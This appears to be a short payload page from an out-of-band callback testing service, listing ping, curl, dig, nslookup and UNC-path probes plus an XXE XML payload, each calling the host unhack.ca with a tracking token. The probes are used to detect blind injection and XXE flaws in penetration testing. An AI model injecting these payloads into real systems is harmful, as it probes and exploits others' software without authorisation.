$ ping -c1 -p 00b34e6a2d50800fdf3271220493ea00 unhack.ca
 

$ curl http://unhack.ca/p/b34e6a2d50800fdf3271220493ea
 

$ dig b34e6a2d50800fdf3271220493ea @unhack.ca
 

$ dig b34e6a2d50800fdf3271220493ea.ns.unhack.ca
 

C:\> nslookup b34e6a2d50800fdf3271220493ea unhack.ca
 

C:\> type \\unhack.ca\b34e6a2d50800fdf3271220493ea\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b34e6a2d50800fdf3271220493ea">]>
    <foo>&xxe;</foo>